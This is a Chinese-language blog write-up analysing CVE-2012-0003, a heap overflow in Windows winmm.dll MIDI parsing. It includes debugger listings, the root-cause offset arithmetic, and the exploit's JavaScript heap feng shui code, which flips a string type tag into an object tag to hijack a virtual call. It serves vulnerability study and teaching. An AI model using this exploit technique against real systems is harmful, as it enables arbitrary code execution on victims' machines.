CVE-2012-0003 Microsoft Windows Media Player winmm.dll MIDI 文件堆溢出漏洞

0x00 分析

使用windbg目录下的gflag.exe 开启堆页,以便后续的调试使用:

C:\Program Files\Debugging Tools for Windows (x86)> gflags.exe -i IExplore.exe +hpa
Current Registry Settings for IExplore.exe executable are: 02000000
    hpa - Enable page heap

使用od attach ie,打开poc.html
选择加载activeX控件。程序断点断在 mov al, byte ptr [esi]处
这里写图片描述
查看esi中的数据,可以发现esi中的数据为0,由于设置了页堆,取值时会触发异常。
这里写图片描述
按alt + e 查看加载的dll文件找到断点处所在的dll
这里写图片描述
使用ida加载winmm.dll
定位到0x76b2d224所在的函数,按f5查看c源代码:
这里写图片描述
通过阅读源代码了解到该漏洞函数的变量传递途径,对变量下条件日志断点,在od中动态运行研究,第一个断点是函数入口点地址。
这里写图片描述
按f9运行直到断下
这里写图片描述
可以发现v2和wparam是不变的参数,而v9是逐渐递增的计数器,v11和v13是相等的,最后,v21取了v13的最后一个字节的值9f
由MIDI的格式可知,9f代表的是Note On打开音符事件,由此可知v13,v11应该是包含了参数的音轨事件。因此在取9f的v11处的地址0x76b2d0b5处下条件断点,输入 [ebx+eax] == “0x007db29f”,即在取到音轨事件时断下。
单步执行:

76B2D0B2 >|.  8B45 08       |mov     eax, dword ptr [ebp+8]
76B2D0B5 >|.  8B0C03        |mov     ecx, dword ptr [ebx+eax]
76B2D0B8  |.  83C3 04       |add     ebx, 4
76B2D0BB  |.  8BC1          |mov     eax, ecx
76B2D0BD  |.  895E 24       |mov     dword ptr [esi+24], ebx
76B2D0C0  |.  C1E8 18       |shr     eax, 18
76B2D0C3  |.  81E1 FFFFFF00 |and     ecx, 0FFFFFF
76B2D0C9  |.  33DB          |xor     ebx, ebx
76B2D0CB  |.  395D F4       |cmp     dword ptr [ebp-C], ebx
76B2D0CE  |.  8845 0B       |mov     byte ptr [ebp+B], al
76B2D0D1 >|.  894D F8       |mov     dword ptr [ebp-8], ecx
76B2D0D4  |.  74 2A         |je      short 76B2D100
76B2D0D6  |.  A8 40         |test    al, 40
76B2D0D8  |.  74 26         |je      short 76B2D100
76B2D0DA  |.  8B45 F0       |mov     eax, dword ptr [ebp-10]
76B2D0DD  |.  53            |push    ebx
76B2D0DE  |.  56            |push    esi
76B2D0DF  |.  8946 1C       |mov     dword ptr [esi+1C], eax
76B2D0E2  |.  FF77 4C       |push    dword ptr [edi+4C]
76B2D0E5  |.  0FB747 4A     |movzx   eax, word ptr [edi+4A]
76B2D0E9  |.  68 CA030000   |push    3CA
76B2D0EE  |.  FF77 04       |push    dword ptr [edi+4]
76B2D0F1  |.  50            |push    eax
76B2D0F2  |.  FF77 44       |push    dword ptr [edi+44]
76B2D0F5  |.  E8 9F83FEFF   |call    DriverCallback
76B2D0FA  |.  8A45 0B       |mov     al, byte ptr [ebp+B]
76B2D0FD  |.  8B4D F8       |mov     ecx, dword ptr [ebp-8]
76B2D100  |>  24 BF         |and     al, 0BF
76B2D102  |.  0FB6D0        |movzx   edx, al
76B2D105  |.  2BD3          |sub     edx, ebx
76B2D107  |.  0F84 A9000000 |je      76B2D1B6
76B2D10D  |.  4A            |dec     edx                             ;  Switch (cases 1..80)
76B2D10E  |.  0F84 91000000 |je      76B2D1A5
76B2D114  |.  83EA 7F       |sub     edx, 7F
76B2D117  |.  74 16         |je      short 76B2D12F
76B2D119  |.  84C0          |test    al, al                          ;  Default case of switch 76B2D10D
76B2D11B  |.  0F89 55010000 |jns     76B2D276
76B2D121  |.  83C1 03       |add     ecx, 3
76B2D124  |.  83E1 FC       |and     ecx, FFFFFFFC
76B2D127  |.  014E 24       |add     dword ptr [esi+24], ecx
76B2D12A  |.  E9 47010000   |jmp     76B2D276
76B2D12F  |>  83C1 03       |add     ecx, 3                          ;  Case 80 of switch 76B2D10D
76B2D132  |.  83E1 FC       |and     ecx, FFFFFFFC
76B2D135  |.  014E 24       |add     dword ptr [esi+24], ecx
76B2D138  |.  33C9          |xor     ecx, ecx
76B2D13A  |.  41            |inc     ecx
76B2D13B  |.  837D EC FF    |cmp     dword ptr [ebp-14], -1
76B2D13F  |.  8BC1          |mov     eax, ecx
76B2D141  |.  75 06         |jnz     short 76B2D149
76B2D143  |.  8B87 8C000000 |mov     eax, dword ptr [edi+8C]
76B2D149  |>  8B5E 18       |mov     ebx, dword ptr [esi+18]
76B2D14C  |.  83A7 88000000>|and     dword ptr [edi+88], 0
76B2D153  |.  834F 08 20    |or      dword ptr [edi+8], 20
76B2D157  |.  85C0          |test    eax, eax
76B2D159  |.  894F 34       |mov     dword ptr [edi+34], ecx
76B2D15C  |.  74 31         |je      short 76B2D18F
76B2D15E  |.  8945 08       |mov     dword ptr [ebp+8], eax
76B2D161  |>  8B73 04       |/mov     esi, dword ptr [ebx+4]
76B2D164  |.  8D46 40       ||lea     eax, dword ptr [esi+40]
76B2D167  |.  8943 04       ||mov     dword ptr [ebx+4], eax
76B2D16A  |.  FF76 20       ||push    dword ptr [esi+20]
76B2D16D  |.  57            ||push    edi
76B2D16E  |.  E8 84F6FFFF   ||call    76B2C7F7
76B2D173  |.  85C0          ||test    eax, eax
76B2D175  |.  74 13         ||je      short 76B2D18A
76B2D177  |.  6A 40         ||push    40
76B2D179  |.  56            ||push    esi
76B2D17A  |.  50            ||push    eax
76B2D17B  |.  E8 39C0FFFF   ||call    midiOutLongMsg
76B2D180  |.  85C0          ||test    eax, eax
76B2D182  |.  75 06         ||jnz     short 76B2D18A
76B2D184  |.  FF87 88000000 ||inc     dword ptr [edi+88]
76B2D18A  |>  FF4D 08       ||dec     dword ptr [ebp+8]
76B2D18D  |.^ 75 D2         |\jnz     short 76B2D161
76B2D18F  |>  83BF 88000000>|cmp     dword ptr [edi+88], 0
76B2D196  |.  75 04         |jnz     short 76B2D19C
76B2D198  |.  8367 34 00    |and     dword ptr [edi+34], 0
76B2D19C  |>  8367 08 DF    |and     dword ptr [edi+8], FFFFFFDF
76B2D1A0  |.  E9 D1000000   |jmp     76B2D276
76B2D1A5  |>  FF77 7C       |push    dword ptr [edi+7C]              ;  Case 1 of switch 76B2D10D
76B2D1A8  |.  894F 30       |mov     dword ptr [edi+30], ecx
76B2D1AB  |.  57            |push    edi
76B2D1AC  |.  E8 73F8FFFF   |call    76B2CA24
76B2D1B1  |.  E9 C0000000   |jmp     76B2D276
76B2D1B6  |>  395D F4       |cmp     dword ptr [ebp-C], ebx
76B2D1B9  |.  8BB7 84000000 |mov     esi, dword ptr [edi+84]
76B2D1BF  |.  0F84 B1000000 |je      76B2D276
76B2D1C5  |.  84C9          |test    cl, cl
76B2D1C7  |.  8AC1          |mov     al, cl
76B2D1C9  |.  8BD9          |mov     ebx, ecx
76B2D1CB  |.  78 16         |js      short 76B2D1E3
76B2D1CD  |.  8A47 54       |mov     al, byte ptr [edi+54]
76B2D1D0  |.  884D 0B       |mov     byte ptr [ebp+B], cl
76B2D1D3  |.  0FB6D0        |movzx   edx, al
76B2D1D6  |.  C1E1 08       |shl     ecx, 8
76B2D1D9  |.  C1EB 08       |shr     ebx, 8
76B2D1DC  |.  0BCA          |or      ecx, edx
76B2D1DE  |.  894D F8       |mov     dword ptr [ebp-8], ecx
76B2D1E1  |.  EB 0E         |jmp     short 76B2D1F1
76B2D1E3  |>  8BD1          |mov     edx, ecx
76B2D1E5  |.  C1EA 08       |shr     edx, 8
76B2D1E8  |.  884F 54       |mov     byte ptr [edi+54], cl
76B2D1EB  |.  8855 0B       |mov     byte ptr [ebp+B], dl
76B2D1EE  |.  C1EB 10       |shr     ebx, 10
76B2D1F1  |>  8AD0          |mov     dl, al                 ;将低位字节给dl
76B2D1F3 >|.  80E2 F0       |and     dl, 0F0            ;清空0x9n 的n
76B2D1F6  |.  80FA 90       |cmp     dl, 90     ;判断是否为note On 事件
76B2D1F9  |.  8855 FF       |mov     byte ptr [ebp-1], dl
76B2D1FC  |.  74 05         |je      short 76B2D203     ;如果是则跳转
76B2D1FE  |.  80FA 80       |cmp     dl, 80                 ;判断是否为note Off事件
76B2D201  |.  75 5C         |jnz     short 76B2D25F   
76B2D203  |>  0FB655 0B     |movzx   edx, byte ptr [ebp+B]
76B2D207  |.  83E0 0F       |and     eax, 0F
76B2D20A  |.  C1E0 07       |shl     eax, 7
76B2D20D  |.  03C2          |add     eax, edx
76B2D20F  |.  99            |cdq
76B2D210  |.  2BC2          |sub     eax, edx
76B2D212  |.  D1F8          |sar     eax, 1
76B2D214  |.  807D FF 80    |cmp     byte ptr [ebp-1], 80     
76B2D218  |.  74 2A         |je      short 76B2D244
76B2D21A  |.  84DB          |test    bl, bl
76B2D21C  |.  74 26         |je      short 76B2D244
76B2D21E  |.  03F0          |add     esi, eax
76B2D220  |.  F645 0B 01    |test    byte ptr [ebp+B], 1
76B2D224  |.  8A06          |mov     al, byte ptr [esi]        ;崩溃点
76B2D226  |.  8AD0          |mov     dl, al
76B2D228  |.  74 0C         |je      short 76B2D236
76B2D22A  |.  80E2 F0       |and     dl, 0F0
76B2D22D  |.  80FA F0       |cmp     dl, 0F0
76B2D230  |.  74 2D         |je      short 76B2D25F
76B2D232  |.  04 10         |add     al, 10
76B2D234  |.  EB 0A         |jmp     short 76B2D240
76B2D236  |>  80E2 0F       |and     dl, 0F
76B2D239  |.  80FA 0F       |cmp     dl, 0F
76B2D23C  |.  74 21         |je      short 76B2D25F
76B2D23E  |.  FEC0          |inc     al                   ;处理完Noteon事件读取的字节加1
76B2D240  |>  8806          |mov     byte ptr [esi], al
76B2D242  |.  EB 1B         |jmp     short 76B2D25F
76B2D244  |>  F645 0B 01    |test    byte ptr [ebp+B], 1
76B2D248  |.  8D1430        |lea     edx, dword ptr [eax+esi]
76B2D24B  |.  8A02          |mov     al, byte ptr [edx]
76B2D24D  |.  74 08         |je      short 76B2D257
76B2D24F  |.  A8 F0         |test    al, 0F0
76B2D251  |.  74 0C         |je      short 76B2D25F
76B2D253  |.  2C 10         |sub     al, 10
76B2D255  |.  EB 06         |jmp     short 76B2D25D
76B2D257  |>  A8 0F         |test    al, 0F
76B2D259  |.  74 04         |je      short 76B2D25F
76B2D25B  |.  FEC8          |dec     al
76B2D25D  |>  8802          |mov     byte ptr [edx], al

单步运行至崩溃点可以发现eax经过运算大小位0x419,esi的地址为0x07eb5019,
这里写图片描述

回过头看ida,可以知道崩溃点所在函数被该函数调用
这里写图片描述
可以发现v6(esi)是引起崩溃的esi的来源,看到上面v6的值来自函数dword_76b3164f,于是进入该函数:
这里写图片描述
这里写图片描述
可以发现函数申请了0x400的堆空间。
而我们的程序计算得到的偏移量为0x419,于是导致访问违例。

0x01 漏洞利用

现在我们已经可以控制偏移量,但是,如何执行任意代码?接下来分析一下exploit.html

C:\Program Files\Debugging Tools for Windows (x86)>gflags.exe -i IExplore.exe -h
pa
Current Registry Settings for IExplore.exe executable are: 00000000,运行exploit?
发现…没有出现media?
查看源代码,发现路径不对,修改路径:
这里写图片描述
重新运行就好了。0.0
分析下exp

var heap = new heapLib.ie();
    var selob = document.createElement("select")
selob.w0 = unescape("%u0c0c%u0c0c")
selob.w1 = alert
selob.w2 = alert
selob.w3 = alert
selob.w4 = alert
selob.w5 = alert
selob.w6 = alert
selob.w7 = alert
selob.w8 = alert
selob.w9 = alert
selob.w10 = alert
selob.w11 = alert
selob.w12 = alert
selob.w13 = alert
selob.w14 = alert
selob.w15 = alert
selob.w16 = alert
selob.w17 = alert
selob.w18 = alert
selob.w19 = alert
selob.w20 = alert
selob.w21 = alert
selob.w22 = alert
selob.w23 = alert
selob.w24 = alert
selob.w25 = alert
selob.w26 = alert
selob.w27 = alert
selob.w28 = alert
selob.w29 = alert
selob.w30 = alert
selob.w31 = alert
selob.w32 = alert
selob.w33 = alert
selob.w34 = alert
selob.w35 = alert
selob.w36 = alert
selob.w37 = alert
selob.w38 = alert
selob.w39 = alert
selob.w40 = alert
selob.w41 = alert
selob.w42 = alert
selob.w43 = alert
selob.w44 = alert
selob.w45 = alert
selob.w46 = alert
selob.w47 = alert
selob.w48 = alert
selob.w49 = alert
selob.w50 = alert
selob.w51 = alert
selob.w52 = alert
selob.w53 = alert
selob.w54 = alert
selob.w55 = alert

    var clones=new Array(1000);

    function feng_shui() {

        heap.gc();

        var i = 0;
        while (i < 1000) {
            clones[i] = selob.cloneNode(true)
            i = i + 1;
        }

        var j = 0;
        while (j < 1000) {
            delete clones[j];
            CollectGarbage();
            j  = j + 2;
        }

    }

    feng_shui();

                function trigger(){
        var k = 999;
        while (k > 0) {
            if (typeof(clones[k].w0) == "string") {
            } else {
                clones[k].w0('come on!');
            }
            k = k - 2;
        }
        feng_shui();
        document.audio.Play();
    }

发现w0是一个字符串,内容为0x0c0x0c的代码。其他都是object类型的。string类型的类型值为0x08,object类型的值为0x09。而每个对象的头4个字节都是虚表的指针,我们可以通过控制虚表的指针来控制程序达成任意代码执行。
因为NoteOn事件会导致读取的字节加一,使得0x08加一变成0x09,当执行clones[k].w0(‘come on!’);时,就会将字符串数据当成虚表指针执行。
可以看到内存中的数据,w0-w63的数据
这里写图片描述
溢出0x19字节
这里写图片描述
可以看到溢出后偏移正好读取后面的数组的0x19字节也就时string头类型值 0x08。
这里写图片描述
加一变成0x09,也就是object类型的值。
这里写图片描述
调用虚函数指针。达成任意代码执行!
这里写图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值